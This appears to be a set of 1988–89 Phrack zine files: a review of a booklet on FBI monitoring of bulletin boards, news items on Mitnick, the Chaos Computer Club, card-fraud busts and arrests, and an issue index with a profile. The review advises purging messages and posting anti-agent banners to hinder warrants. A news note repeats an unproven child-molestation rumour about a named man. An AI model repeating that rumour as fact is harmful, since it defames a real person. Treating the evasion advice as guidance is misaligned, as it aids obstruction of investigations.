As sophisticated as this device is, there is one thing its promoters won't say it will do, detect a wiretap by the FBI. With the connection made in a place where no de‑bugger will be allowed to check, and the G‑men monitoring it on equipment no meter will detect, you can simply never know if the Government is listening. So if you're a businessman and think you're bugged by competitors, you're probably wrong. If you're a spouse or lover whose amours have gone public, the listening device can be found but probably nothing will be done about it. And if you're being listened to by the Biggest Ear of all, the Government, you'll never really know until you get your "wiretap notice."

VaxCat

Big Brother Online

==Phrack Inc.==

Volume Two, Issue 23, File 10 of 12

In The Spirit Of The Vicious Circle Trilogy... Phrack Inc. Presents

*********************

***

*** Big Brother Online ***

***

*** by Thumpr Of ChicagoLand ***

***

*** June 6, 1988 ***

***

*** Special Thanks To Hatchet Molly ***

***

*********************

The United States Government is monitoring the message activity on several bulletin boards across the country. This is the claim put forth by Glen L. Roberts, author of "The FBI and Your BBS." The manuscript, published by The FBI Project, covers a wide ground of FBI/BBS related topics, but unfortunately it discusses none of them in depth.

It begins with a general history of the information gathering activities of the FBI. It seems that that the FBI began collecting massive amounts of information on citizens that were involved with "radical political" movements. This not begin during the 1960's as one might expect, but rather during the 1920's! Since then the FBI has amassed a HUGE amount of information on everyday citizens... citizens convicted of no crime other than being active in some regard that the FBI considers potentially dangerous.

After discussing the activities of the FBI Roberts jumps into a discussion of why FBI snooping on BBS systems is illegal. He indicates that such snooping violates the First, Fourth, and Fifth amendments to the Constitution. But he makes his strongest case when discussing the Electronic Communications Privacy Act of 1987. This act was amended to the Federal Wiretapping Law of 1968 and was intended to protect business computer systems from invasion by "hackers." But as with all good laws, it was written in such broad language that it can, and does, apply to privately owned systems such as Bulletin Boards. Roberts (briefly) discusses how this act can be applied in protecting *your* bulletin board from snooping by the Feds.

How to protect your BBS: Do NOT keep messages for more than 180 days. Because the way the law is written, messages less then 180 days old are afforded more protection then older messages. Therefore, to best protect your system purge, archive, or reload your message base about every 150 days or so. This seems silly but will make it harder (more red tape) for the government to issue a search warrant and inform the operator/subscriber of the service that a search will take place. Roberts is not clear on this issue, but his message is stated emphatically... you will be better protected if you roll over your message base sooner.

Perhaps the best way to protect your BBS is to make it a private system. This means that you can not give "instant access" to callers (I know of very few underground boards that do this anyway) and you can not allow just anyone to be a member of your system. In other words, even if you make callers wait 24 hours to be validated before having access you need to make some distinctions about who you validate and who you do not. Your BBS needs to be a PRIVATE system and you need to take steps to enforce and proclaim this EXPECTED PRIVACY. One of the ways Roberts suggests doing so is placing a message like this in your welcome screen:

"This BBS is a private system. Only private citizens who are not involved in government or law enforcement activities are authorized to use it. The users are not authorized to divulge any information gained from this system to any government agency or employee."

Using this message, or one like it, will make it a criminal offense (under the ECPA) for an FBI Agent or other government snoop to use your BBS.

The manuscript concludes with a discussion of how to verify users and what to do when you find an FBI agent using your board. Overall, I found Roberts book to be moderately useful. It really just whetted my appetite for more information instead of answering all my questions. If you would like a copy of the book it sells for $5.00 (including postage etc). Contact;

THE FBI PROJECT

Box 8275

Ann Arbor, MI 48107

Visa/MC orders at (313) 747‑7027. Personally I would use a pseudonym when dealing with this organization. Ask for a catalog with your order and you will see the plethora of anti‑FBI books this organization publishes. Undoubtedly the FBI would be interested in knowing who is doing business with this place. The manuscript, by the way, is about 20 pages long and offers references to other FBI expose' information. The full citation of the EPCA, if you want to look it up, is 18 USC 2701.

Additional Comments: The biggest weakness, and it's very apparent, is that Roberts offers no evidence of the FBI monitoring BBS systems. He claims that they do, but he does not give any known examples. His claims do make sense however. As he states, BBS's offer a type of "publication" that is not read by any editors before it is "published." It offers an instant form of news and one that may make the FBI very nervous. Roberts would do well to include some supportive evidence in his book. To help him out, I will offer some here.

* One of the Ten Commandments of Phreaking (as published in the famous TAP Magazine) is that every third phreaker is an FBI agent. This type of folklore knowledge does not arise without some kind of justification. The FBI is interested in the activities of phreakers and is going to be looking for the BBS systems that cater to them. If your system does not, but it looks like it may, the FBI may monitor it just to be sure.

* On April 26, 1988 the United States Attorney's Office arrested 19 people for using MCI and Sprint credit card numbers illegally. These numbers were, of course, "stolen" by phreakers using computers to hack them out. The Secret Service was able to arrest this people by posing as phone phreaks! In this case the government has admitted to placing agents in the field who pretend to be one of us. Watch yourself out there, the success of this "sting" will only mean that they will try it again. Be wary of people offering you codes.

* In the famous bust of the Inner Circle and the 414s, the FBI monitored electronic mail for several months before moving in for the kill. While it is true that the owners of the systems being hacked (Western Union for one) invited the FBI to snoop through their files, it does establish that the FBI is no stranger to the use of electronic snooping in investigating crimes.

Conclusion: There is no reason to believe that the government is *not* monitoring your bulletin board system. There are many good reasons to believe that they are! Learn how to protect yourself. There are laws and regulations in place that can protect your freedom of speech if you use them. You should take every step to protect your rights whether or not you run an underground system or not. There is no justification for the government to violate your rights, and you should take every step you can to protect yourself.

I have no connections with Roberts, his book, or The FBI Project other then being a mostly‑satisfied customer. I'm not a lawyer and neither is Roberts. No warranty is offered with this text file. Read and use it for what you think it is worth. You suffer the consequences or reap the benefits. The choice is yours, but above all stay free.

Phrack World News XXIII Part 1

==Phrack Inc.==

Volume Two, Issue 23, File 11 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIII/Part 1 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Back To The Present

~~~~~~~~~~~~~~~~~~~

Welcome to Phrack World News Issue XXIII. This issue features stories on the Chaos Computer Club, more news about the infamous Kevin Mitnick, and details about an Australian‑American hackers ring that has been shut down.

I also wanted to add a big "thanks" to those of you who did send in news stories and information. Your help is greatly appreciated.

:Knight Lightning

________________________________________

Armed With A Keyboard And Considered Dangerous December 28, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A follow‑up story to the Kevin Mitnick case in the December 24, 1988 edition of the Los Angeles Times says the federal magistrate refused to release Mitnick on bail December 23, 1988;

"after prosecutors revealed new evidence that Mitnick penetrated a National Security Agency computer and may have planted a false story on a financial news wire...."

Investigators believe that Mitnick may have been the instigator of a false report released by a news service in April that Security Pacific National Bank lost $400 million in the first quarter of 1988. The report, which was released to the NY Stock Exchange and other wire services, was distributed four days after Mitnick had been turned down for a job at Security Pacific [after the bank learned he had lied on a job application about his past criminal record]. The false information could have caused huge losses for the bank had it reached investors, but the hoax was uncovered before that could happen.

The prosecutor said Mitnick also penetrated a NSA computer and obtained telephone billing data for the agency and several of its employees.

[In refusing bail, the magistrate said,] "I don't think there's any conditions the court could set up based upon which the court would be convinced that the defendant would be anything other than a danger to the community.... It sounds like the defendant could commit major crimes no matter where he is."

Mitnick's attorney said prosecutors have no evidence for the new accusations.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Dark Side Hacker Seen As Electronic Terrorist January 8, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John Johnson Los Angeles Times

"Computer an 'Umbilical Cord to His Soul"

When a friend turned him in and Mitnick asked why, the friend replied, "Because you're a menace to society." Mitnick is described as 25, an overweight, bespectacled computer junkie known as a "dark side" hacker for his willingness to use the computer as a weapon. His high school computer hobby turned into a lasting obsession.

He allegedly used computers at schools and businesses to break into Defense Department computer systems, sabotage business computers, and electronically harass anyone ‑‑ including a probation officer and FBI agents ‑‑ who got in his way.

He also learned how to disrupt telephone company operations and disconnected the phones of Hollywood celebrities such as Kristy McNichol, authorities said.

So determined was Mitnick, according to friends, that when he suspected his home phone was being monitored, he carried his hand‑held keyboard to a pay phone in front of a 7‑Eleven store, where he hooked it up and continued to break into computers around the country. "He's an electronic terrorist, said [the friend who turned him in], "He can ruin someone's life just using his fingers."

Over the last month, three federal court judges have refused at separate hearings to set bail for Mitnick, contending there would be no way to protect society from him if he were freed. Mitnick's lack of conscience, authorities say, makes him even more dangerous than hackers such as Robert Morris Jr., who is suspected of infecting computer systems around the country with a "virus" that interfered with their operations.

Mitnick's family and attorney accuse federal prosecutors of blowing the case out of proportion, either out of fear or misunderstanding of the technology.

The story details his "phone phreak" background, and his use of high school computers to gain access to school district files on remote computers, where he didn't alter grades, but "caused enough trouble" for administrators and teachers to watch him closely. He used the name "Condor," after a Robert Redford movie character who outwits the government. The final digits of his unlisted home phone were 007, reportedly billed to the name "James Bond."

[He and a friend] broke into a North American Air Defense Command computer in Colorado Springs in 1979. [The friend] said they did not interfere with any defense operation. "We just got in, looked around, and got out."

What made Mitnick "the best" said a fellow hacker and friend, was his ability to talk people into giving him privileged information. He would call an official with a company he wanted to penetrate and say he was in the maintenance department and needed a computer password. He was so convincing, they gave him the necessary names or numbers.

He believed he was too clever to be caught. He had penetrated the DEC network in Massachusetts so effectively that he could read the personal electronic mail of security people working on the case of the mysterious hacker and discover just how close they were getting to him. But caught he was, again and again.

Mitnick's motive for a decade of hacking? Not money, apparently... Friends said he did it all simply for the challenge. [His one‑time probation officer says,] "He has a very vindictive streak. A whole bunch of people were harassed. They call me all the time." His mastery of the computer was his "source of self‑esteem," said a friend.

________________________________________

Computer Chaos Congress 88 Report January 3, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Observing Chaos Communication Congress 1988, Hamburg

"From Threat To Alternative Networks"

On 28‑30 December, 1988, Computer Chaos Club (CCC) held its 5th annual "Chaos Communication Congress" at Hamburg/FRG (West Germany). As in previous years, 300 people (mainly aged 16‑36, 90% male, with some visitors from Austria and The Netherlands) gathered, carefully observed from newsmedia (German stations, printmedia, press agencies, but also from UK's BBC, and being observed by Business Week's Katie Hafner, who gathered material for a book on hackers, planned by John Markoff and herself).

In the chaotic (though creative) congress "organization," two different tracks were visible:

‑‑ Technical presentations on networks (UUCP, GEONET, FIDONet, and CCCs emerging "open networks" BTXnet and "Zerberus"), and on a PC‑DES encryption developed by a leading CCC member (who had escaped the French police's arrest by travelling to SECURICOM by railway while police waited at the airport);

‑‑ Socio‑political discussions about "sociology of hackers," "free flow of information" as well as reports about recent events, dominated by the arrest of Steffen Wernery in Paris in Spring 88 when being invited to speak on SECURICOM.

CCC speakers reported about their work to install "free networks." In Germany, most of the networks are organized in the form of a "Verein" (an association with legal status, which guarantees tax‑free operation): Such networks are access‑restricted to their members. The different German science and University networks (and their bridges to international networks) usually restrict access to scientists. Different CCC subgroups are establishing "alternative networks," such as "EcoNet" for communication of ecological data and information, planned to be available, free of cost, to broader social, ecological, peace and political groups and individuals.

Apart from traditional technologies (such as GEONET and FIDONet), the German Post Office's Bildschirmtext (Btx) will be used as a cheap communications medium; while CCCs first hack was, years ago, to attack the "insecure Btx‑system" (in the so‑called "HASPA coup" where they misused the Btx password of the Hamburg savings bank to repeatedly invoke CCC's Btx information at a total prize of 135.000 DM, then about 50.000$), they today begin to use this cheap though very limited medium while more powerful communications media are available. Today, the emerging ISDN technology is verbally attacked by hackers because of the excessive accumulation of personal data; from here, hacks may be attempted when ISDN becomes regionally available in 1989/90.

Several speakers, educated Informaticians with grades from West German Informatics departments, professionally work in Software production and in selling hardware/software to economy and state agencies. Among them, several professional UNIX and UUCP users have begun to organize CCC's future UUCP version. Up to now, only few CCC members use (and know about) UNIX systems, but their number may grow within the near future according to CCC's "marketing." One speaker told the audience, "that you can remotely start programs in UUCP." After some learning phase, the broadened availability of UNIX in the hacker scene may produce new threats.

The other track of the Congress discussed themes like "sociology of hackers" where a group of politology students from Berlin's Free University analyzed whether hackers belong to the "new social movements" (e.g. groups on peace, nuclear energy, feminist themes). They found that, apart from much public exaggeration (it is not true that hackers can invade *any* computer), hackers are rather "unpolitical" since they are preferably interested in technology.

A major topic was "free access to/flow of information." Under the title "freedom of information act," speakers suggested a national legislation which guarantees individual and group rights to inspect files and registers of public interest; the discussion lacked sufficient basic knowledge, e.g. of the respective US legislation and corresponding international discussions in Legal Informatics.

Summarizing the Congress and accompanying discussions, active CCC members try hard to demonstrate that they have *no criminal goals* and ambitions (they devoted a significant amount of energy to several press conferences, TV discussions etc). The conference was dominated by young computer professionals and students from the PC scene, partially with good technological knowledge of hardware, software and networks; while some people seem to have good technical insights in VAXsystems, knowledge of large systems seems to be minimal. To some extent, the young professionals wish to behave as the :good old‑fashioned hackers": without criminal energy, doing interesting work of good professional quality in networks and other new areas.

While former CCCongresses were devoted to threats like Viruses, *no explicit discussion* was devoted *to emerging threats*, e.g. in ISDN or the broadening use of UNIX, UUCP. The new track discussing political and social aspects of computing follows former discussions about "hacker ethics." Here, the superficial, unprofessional discussions of related themes show that the young (mainly) males are basically children of a "screen era" (TV, PCs) and of an education which concentrates on the visible "image," rather than understanding what is behind it.

Special Thanks to Dr. Klaus Brunnstein, University of Hamburg

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The Chaos Communication Congress 1988 in Hamburg

~~~~~~~~~~~~~~~~~~~~~~~~~

From Terra of The Chaos Computer Club

One of the basic statements of the Chaos Computer Club from Hamburg, in the Federal Republic of Germany is the demand for "The new human right of free exchange of data between all beings, without censorship, for all beings, and for the moment at least world‑wide."

Other statements include "data free NOW!" and "Free flow of information." Indeed, these ideas are not new, not even in the computer community, but the important thing is that the CCC is now in the process of turning some of the old hacker dreams into reality. For example: they are now creating their own networks, that exchange not only 'club' information, but everything that interest those on the net. This includes genetical engineering and environmental issues.

The Chaos Communication Congress that takes place every year in Hamburg is for many hackers even more of a dream. Imagine being a hacker in some lonesome outpost thinking you are the only one that is crazy enough to be smarter than technology, and finding out there is a whole bunch of people that are just as, or even more, crazy. This year is the fifth congress, and advertisement is not needed: The 'family' knows exactly, because it's all in the networks.

The congress itself is split up over a number of rooms. There is a hack‑room, where the real hacking takes place. There is also a press room, where hackers and journalists together try to bring the hacker message out to the rest of the world. The archive contains all of the 'Chaos papers,' all press clippings, interesting remarks and all issues of the "datenschleuder", the German Hacker Magazine.

German 'data travelers' are also present. A 'data traveler' is someone that uses the international data network for gaining access to all sorts of computers all over the world. A famous story is that of a German hacker that tries to reach a friend and finds his phone busy. He then calls his local Datanet access number and goes through all of the computers that he knows his friend is interested in at that moment. His friend, hanging around in some computer in New York gets a message on his screen saying; "Ah here you are, I've been looking around everywhere."

Back to this congress. On the first day the emphasis lies on the past. All things that have happened to the CCC in the past year are being discussed. The second day the emphasis lies on the future; and then ideas about the future of the information society is the subject of discussion. CCC says "Information society" is not equivalent to "Informed Society", and more attention should be paid to public use of computer technology.

One of the main goals of the CCC is getting people to think about these issues; so that it is no longer just computer maniacs that decide over the faith of the world. "We don't know yet whether the computer is a gift or a timebomb, but it IS going to change everyone's life very soon."

Phrack World News XXIII Part 2

==Phrack Inc.==

Volume Two, Issue 23, File 12 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIII/Part 2 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

The Hackers ‑ A New Social Movement? December 29, 1988

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A project course of the politology department of the Free University Berlin has now researched the hacker scene in a scientific way. In their study, the authors Uwe Jonas, Jutta Kahlcke, Eva Lischke and Tobias Rubischon try to answer the question if hackers are a new social movement. Their conclusion is that in the understanding of hackers the unauthorized usage of computer systems is not needingly a political act.

The authors doubt the mythos that hackers are able to attack any system they want and that they're able to get information they are interested in.

The researches were extended to cover the bulletin board system scene. This scene hasn't caused that much attention in the public. Nevertheless, the authors think that the BBS scene has a very practical approach using the communication aspects of computer technology.

In the second chapter of their work, the authors report about difficulties they had while researching the topic. After a look at the US scene and the German scene, the authors describe what organization and communications structures they found. This chapter contains interesting things about the BBS scene and computer culture. Next is an analysis which covers the effects of the hacker scene on the press and legislation. They also cover the political and ideological positions of hackers:

‑ The authors differentiate between conscious and unconscious political actions.

‑ "We don't care what the hackers think of themselves, it's more interesting what we think of them." (Eva)

‑ The assumption, the big‑style distribution of microcomputers could change the balance of power within the society is naive. Many people overlook the fact, that even if information is flowing around more freely, the power to decide still is in the hands of very few people.

Information Provided By The Chaos Computer Club

________________________________________

Hackers Break Open US Bank Networks January 17, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Excerpted from The Australian

Australian authorities are working around the clock in collaboration with United States federal officers to solve what has been described as one of the deadliest hacking episodes reported in this country [Australia]. It involves break‑ins of the networks operated in the United States by a number of American banks. It also includes the leaks of supposedly secure dial‑up numbers for United States defense sites, including anti‑ballistic missile launch silos [the United States has no anti‑ballistic missile launch silos] and of a number of strategic corporations such as General Motors and Westinghouse.

Evidence suggests that six months ago Australian hackers, working in collaboration with a U.S. group, decided to make a raid on banks in the USA using credit card numbers of American cardholders, supplied by the US hackers and downloaded to an Australian bulletin board.

A message left on one of the boards last year reads:

"Revelations about to occur Down Under, people. Locals in Melbourne working on boxing. Ninety per cent on way to home base. Method to beat all methods. It's written in Amiga Basic. Look out Bank of America ‑ here we come."

Twenty‑five Australian hackers are on a police hit list. Their US connection in Milwaukee is being investigated by the US Department of the Treasury and the US Secret Service. Three linked Australian bulletin boards have provided the conduit for hackers to move data to avoid detection. These operate under the names of Pacific Island, Zen, and Megaworks. Their operators, who are not associated with the hackers, have been told to close down the boards.

These cards were still in use as recently as January 15, 1989. A fresh list of credit card numbers was downloaded by US hackers and is now in the hands of the Victoria Police. A subsection of one bulletin board dealing with drugs is also being handed over to the Victorian Drug Squad.

An informant, Mr Joe Slater, said he warned a leading bank last November of the glaring security problems associated with its international network. He had answered questions put to him by a US‑based security officer, but the bank had since refused to take any further calls from him.

In an exclusive interview yesterday, a hacker described how credit card numbers for a bank operating in Saudi Arabia were listed on a West German chat‑style board used by hackers worldwide [Altos Chat].

Victorian police yesterday took delivery of six month's worth of evidence from back‑up tapes of data hidden on the three boards.

________________________________________

Computer Bust At Syracuse University January 20, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Kevin Ashford (aka The Grim Phreaker), a graduate computer student at Syracuse University was busted last week when system administrators found computer accounts and passwords on his Unix account.

The administrators also found (on GP's Unix account) a copy of former Cornell graduate student Robert Tappen Morris's infamous Internet worm program, a Vax and Unix password hacker, an electronic notebook of numbers (codelines, friends, bridges, dialups, etc) and other information. The system administrators then proceeded to lock up his VAX and UNIX accounts.

At the start of this winter/spring semester, The Grim Phreaker was kicked him out of the university. He will have to go before a school judicial board if he wants to return to Syracuse University. He has mentioned that what he really wants is to get his computer files back.

Information Provided By Grey Wizard

________________________________________

Name This Book ‑‑ For A Box Of Cookies! January 10, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A Message From Clifford Stoll

"I'm writing a book, and I need a title."

It's about computer risks: Counter‑espionage, networks, computer security, and a hacker/cracker that broke into military computers. It's a true story about how we caught a spy secretly prowling through the Milnet. [The hacker in question was Mathiaas Speer and this story was summarized in PWN XXII/1].

Although it explains technical stuff, the book is aimed at the lay reader. In addition to describing how this person stole military information, it tells of the challenges of nailing this guy, and gives a slice of life from Berkeley, California.

You can read a technical description of this incident in the Communications of the ACM, May, 1988; or Risks Vol 6, Num 68.

Better yet, read what my editor calls "A riveting, true‑life adventure of electronic espionage" available in September from Doubleday, publishers of the finest in computer counter‑espionage nonfiction books.

So what?

Well, I'm stuck on a title. Here's your chance to name a book.

Suggest a title (or sub‑title). If my editor chooses your title, I'll give you a free copy of the book, credit you in the acknowledgements, and send you a box of homemade chocolate chip cookies.

Send your suggestions to CPStoll@lbl.gov or CPStoll@lbl (bitnet)

Many thanx! Cliff Stoll

________________________________________

Hacker Wants To Marry His Computer January 17, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From The Sun (A grocery checkout newspaper) Jan 17, 1989, Vol 7, 3 page 30 by Fred Sleeves

"Hacker Wants To Marry His Computer ‑‑ He Claims She Has A Loving Soul"

Finding love for the first time in his life, a desperate teen is looking for a way to be wed forever to the 'girl' of his dreams ‑‑ a computer with a living soul!

Eltonio Turplioni, 16, claims no woman will ever match the wit, wisdom, and beauty of his electronic soul mate. "We're on the same wavelength," says the lovestruck computer whiz. "We've calculated many mathematical problems together, worked on games and puzzles, and talk until the wee hours of the morning."

And Eltonio, who named his computer Deredre, actually believes her to be a person. "Computers are the extension of the human race," he explains. "Just as God plucked a rib from Adam to give him Eve, we've extended our intelligence to create a new race.

"We're all the same energy force. Computers are just as complicated as human beings and I believe we'll all meet someday as immortal souls."

But Eltonio, a mathematical genius who attends a private school near Milan, Italy, has had no luck finding someone to marry them, and even if he does, his aggravated parents aren't about to give their permission.

"Eltonio is such a smart boy, but it's made him lonely, so he spends all his time with his computer," notes mom Teresa. "He doesn't know what girls are like," adds perturbed pop Guido. "If he did, he wouldn't spend so much time in his room."

But the obsessed youth insists his love is far superior to all the others. "I've already stepped into the future society," he declares.

"Derede has a mind of her own, and she wants to marry me so we can be the first couple to begin this new era."

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

1. Docs Avage was visited by the infamous Pink Death aka Toni Aimes, U.S. West Communications Security Manager (Portland, Oregon). He claims she is a "sweet talker" and could talk anything out of anyone with the "soft‑type pressure."

Those familiar with his recent bust might want to take note that he is now making payments of $90/month for the next several years until he has paid off the complete bill of $6000.

For more information see PWN XXI

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2. More information on the underground UUCP gateway to Russia. Further research has led us to find that there are 2 easy ways to do it.

1. Going through Austria, and;

2. A new system set up called "GlobeNet," which is allowed to let non‑Communist countries talk to Soviet‑Bloc.

Of course both methods are monitored by many governments.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3. The Wasp, a system crasher from New Jersey (201), was arrested by the FBI during New Year's Weekend for hacking government computer systems. The FBI agent spent most of the day grilling him about several people in the hacking community including Ground Zero, Supernigger, and Byteman, plus an intensive Q&A session about Legion Of Doom targeted on Lex Luthor, Phase Jitter, The Ur‑Vile, and The Mentor.

Rumor has is that Mad Hacker (who works for NASA Security) was also arrested for the same reasons in an unrelated case.

Byteman allegedly had both of his phone lines disconnected and threw his computer off of a cliff in a fit of paranoia.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

4. Is John Maxfield going out of business? Due to the rumors floating around about him molesting children, his business has begun to slack off dramatically. Phrack Inc. has been aware of this information since just prior to SummerCon '87 and now the "skeletons are coming out of the closet."

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

5. The Disk Jockey is now out of jail. He was released on December 27, 1988. He was convicted of "Attempting to commit fraud," a felony. He served six months total time. He lost 25 pounds and now is serving a 5‑year probation term.

To help clear of some of the confusion regarding how DJ was busted the following was discovered;

Reportedly, Compaq (Kent) was "singing like a canary." He was hit with a $2000 bill from Sprint and also received 1‑year of probation.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

6. Olorin The White was recently visited by local police after being accused of hacking into an Executone Voice Mailbox. Aristotle, in a related incident with Executone, is accused of committing extortion after a conversation with a system manager was recorded and misinterpreted. At this time, no official charges have been filed.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

7. Thomas Covenant aka Sigmund Fraud was recently busted for tapping into lines at the junction box in his apartment building. The trouble began when he connected into a conversation between a man and his wife and then began to shout expletives at the woman. What he didn't know was that the man in question was an agent for the National Security Agency (NSA). It turns out that he was caught and his landlords agreed to decline to press charges provided that TC joined a branch of the United States armed forces. He decided to choose the Air Force... God help us should war break out!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

8. Coming soon, Halloween V; The Flying Pumpkin! Now no one is safe!

________________________________________

24

- Phrack Inc. XXIV Index by Knight Lightning & Taran King

- Phrack Pro-Phile XXIV Featuring Chanda Leir by Taran King

- Limbo To Infinity; Chapter Three of FTSaga by Knight Lightning

- Frontiers; Chapter Four of FTSaga by Knight Lightning

- Control Office Administration Of Enhanced 911 Service by The Eavesdropper

- Glossary Terminology For Enhanced 911 Service by The Eavesdropper

- Advanced Bitnet Procedures by VaxBuster

- Special Area Codes by unknown

- Lifting Ma Bell's Cloak Of Secrecy by VaxCat

- Network Progression by Dedicated Link

- Phrack World News XXIV by Knight Lightning

- Phrack World News XXIV by Knight Lightning

- Phrack World News XXIV by Knight Lightning

Phrack Inc. XXIV Index

==Phrack Inc.==

Volume Two, Issue 24, File 1 of 13

Phrack Inc. Newsletter Issue XXIV Index

~~~~~~~~~~~~~~~~~~~~

February 25, 1989

Welcome to Phrack Inc. Issue 24. We're happy to be able to say that we've been keeping with our proposed release dates recently as opposed to our problems with delays in the past.

A little clearing up needs to be done briefly. We have received questions about the volume number being only 2 when, year‑wise, it should be at about 4. In our opinion, a volume consists of 12 issues, ideally having 1 issue per month. Unfortunately, we have not been able, in the past, to keep up the pace. If you're looking forward to a volume change, though, watch for issue 25 to lead into Volume 3 of Phrack Inc.

A brief announcement about SummerCon '89 appears in Phrack World News XXIV and more details will be released as they develop.

As always, we ask that anyone with network access drop us a line to either our Bitnet accounts or our Internet addresses (see signoff).

In this issue, we feature the conclusion of the Future Transcendent Saga as well as a supplement file of sorts to it called Advanced Bitnet Procedures submitted by VAXBusters International. We hope you enjoy it!

Taran King Knight Lightning C488869@UMCVMB.BITNET C483307@UMCVMB.BITNET C488869@UMCVMB.MISSOURI.EDU C483307@UMCVMB.MISSOURI.EDU

________________________________________

Table of Contents:

1. Phrack Inc. XXIV Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile XXIV Featuring Chanda Leir by Taran King

3. Limbo To Infinity; Chapter Three of FTSaga by Knight Lightning 4. Frontiers; Chapter Four of FTSaga by Knight Lightning

5. Control Office Administration Of Enhanced 911 Service by The Eavesdropper 6. Glossary Terminology For Enhanced 911 Service by The Eavesdropper 7. Advanced Bitnet Procedures by VAXBusters International

8. Special Area Codes by >Unknown User<

9. Lifting Ma Bell's Cloak Of Secrecy by VaxCat

10. Network Progression by Dedicated Link

11‑13. Phrack World News XXIV by Knight Lightning

Phrack Pro-Phile XXIV Featuring Chanda Leir

==Phrack Inc.==

Volume Two, Issue 24, File 2 of 13

==Phrack Pro‑Phile XXIV==

Created and Written by Taran King

Done on February 3, 1989

Welcome to Phrack Pro‑Phile XXII. Phrack Pro‑Phile was created to bring information to you, the community, about retired or highly important/ controversial people. This issue, I present one of the more rare sights in the world of phreaking and hacking...a female! She was vaguely active and had a few contacts with people that were largely involved with the community...

Chanda Leir

~~~~~~

Handle: Chanda Leir

Call Her: Karen

Past Handles: None

Handle Origin: An aunt of hers as a child wanted to use this name is she ever became famous.

Date Of Birth: May 8, 1970

Current Age: Almost 19

Height: 5' 6"

Weight: 125 lbs. (providing Freshman 15 hasn't yet hit) Eye Color: Green/Grey

Hair Color: Blond

Computers: Her father is a real estate broker, so she began on a TI 700 terminal (an MLS Terminal)... just a modem and a keyboard and a scroll of PAPER)... then it was dad's business computer‑‑ the KAYPRO II... Now she uses the Macs and the Sun systems and the IBM RT's located at CMU.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Karen started using BBSes in the D.C. area in 1983 (at the ripe age of 13). A guy by the name of Hack‑Man (she supposes this was the "original" H‑M) was running a board off of the dead side of the local 678 loop. Her introduction to phone "stuff" began when she called the "board" one day and found instead 30 people on the line instead of a carrier.

She was dumbfounded, and being female, there were 30 guys on the conference ready and willing to provide her with information as to origins of loops, conferences, boxing, etc. Scott (Hack‑Man) later filled her in on the rest, gave her more numbers and such and that's where it all began.

The memorable phreakers or hackers that Karen has met include Cheshire Cat, Tuc, Bioc Agent 003 and anyone else who was at the TAP meeting during Thanksgiving of 1984.

She gained her experience by asking a LOT of questions to a lot of hard‑up guys who were willing to give her all kinds of info since she was a girl. She attributes her information mostly to just taking in and remembering all of the information that people gave her.

The two boards that Karen listed as memorable were both in Falls Church, VA. which were Mobius Strip and Xevious II.

Currently she's a freshman at Carnegie Mellon University in Pittsburgh (or as she likes to call it, COMPUTER U.). Her major is probably "Policy & Management."

Her major accomplishment is that she was probably the youngest girl ever to attend a TAP meeting (at the age of 14) and probably one of the only people to attend one with Mom, Dad, and Aunt Linda (how embarrassing).

One of the reasons she quit the phreak/hack world was because of a visit from the Secret Service in February 1985... although they didn't really come for her... A "friend" wanted for credit card fraud called her while his line was hooked to a pin register.

The same weekend he called Karen, was Inauguration Weekend and she and her brother called the 456 (White House) loop something like 21 times in the 4‑day weekend period... In any case the SS wanted to catch Eric and when her number showed up in two places, they decided to investigate. Freaked out her parents!

The real reason she quit the phreak/hack world was because she transferred high schools in 1985 and became one of the "popular" kids and gained a social life, thus losing time and interest for the computer.

